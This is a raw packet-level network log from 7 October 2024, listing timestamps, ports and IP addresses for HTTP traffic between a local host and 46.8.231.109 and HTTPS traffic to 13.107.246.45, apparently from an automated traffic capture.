Oct 7, 2024 19:33:19.801031113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801048040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801054001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801054001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801054001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801064968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801076889 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801081896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801099062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801125050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801125050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801125050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801134109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801151037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801166058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801182032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801186085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801186085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801198006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801215887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801218033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801218033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801232100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801249027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801249027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.801282883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.801307917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.805875063 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.806051970 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.806116104 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.806148052 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.806149006 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.806163073 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.806173086 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.806266069 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.806324005 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.806397915 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.806463003 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.806463003 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.806473017 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.806480885 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.808037996 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.808053970 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.808159113 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.808182001 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.808198929 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.808224916 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.808233023 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.808248997 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.808377981 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.808391094 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.832972050 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.833025932 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.833149910 CEST	49760	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.833563089 CEST	49760	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.833563089 CEST	49760	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.833569050 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.833573103 CEST	443	49760	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.835467100 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.835478067 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.835668087 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.835668087 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:19.835689068 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:19.883128881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883152008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883163929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883265018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883276939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883290052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883301020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883311987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883311987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883311987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883313894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883352995 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883352995 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883409977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883423090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883435965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883500099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883501053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883656979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883697033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883708954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883758068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883758068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883816957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883830070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883841991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883855104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883867025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883888006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883888006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883919001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.883945942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883960962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883972883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.883985996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884004116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884016037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884023905 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884023905 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884030104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884044886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884074926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884078026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884078026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884078026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884088039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884100914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884111881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884124994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884136915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884139061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884139061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884139061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884150028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884165049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884181023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884181023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884236097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884331942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884345055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884356976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884367943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884381056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884391069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884392977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884406090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884418011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884430885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884458065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884458065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884458065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884476900 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884486914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884500027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884512901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884525061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884535074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884537935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884552002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884557009 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884630919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884644032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884654999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884666920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884666920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884668112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884666920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884684086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884695053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884711027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884711027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884721041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884758949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884758949 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884783983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884797096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884809017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884820938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884825945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884834051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884850025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884850025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884855986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884865046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884875059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884876013 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884890079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884902954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884915113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884927034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884931087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884931087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884943008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884957075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.884965897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884965897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.884969950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885030031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885046959 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885046959 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885104895 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885222912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885235071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885246992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885257959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885270119 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885272026 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885282993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885296106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885307074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885319948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885325909 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885325909 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885327101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885333061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885345936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885358095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885369062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885376930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885376930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885385990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885411978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885411978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885412931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885456085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885560989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885572910 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885585070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885596037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885607958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885620117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885627031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885627031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885627031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885636091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885646105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885648966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885662079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885674000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885684013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885704041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885715008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885716915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885716915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885716915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885729074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885744095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885806084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885819912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885832071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885844946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885858059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885869980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885869980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885869980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885870934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885885000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885898113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885909081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885909081 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.885941982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.885955095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.886003017 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.886003971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.886003971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.886035919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.886049032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.886060953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.886071920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.886090040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.886147976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.967740059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.967761993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.967772961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.967824936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.967837095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.967848063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.967884064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.967884064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.967947006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.967958927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.967992067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.967992067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.967992067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.968015909 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.968565941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968583107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968595028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968605995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968617916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968641996 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.968739033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968750954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968763113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968775988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968786001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968811035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.968811035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.968811035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.968885899 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.968965054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968985081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.968995094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969022989 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969042063 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969090939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969101906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969114065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969125986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969166040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969172001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969172001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969178915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969191074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969238043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969238043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969314098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969326973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969337940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969350100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969361067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969372034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969373941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969373941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969383955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969397068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969436884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969436884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969436884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969436884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969439030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969451904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969463110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969496965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969501972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969501972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969511986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969523907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969536066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969546080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969562054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969562054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969638109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969676018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969687939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969700098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969711065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969722986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:19.969727039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:19.969734907 CEST	80	49718	46.8.231.109	192.168.2.7
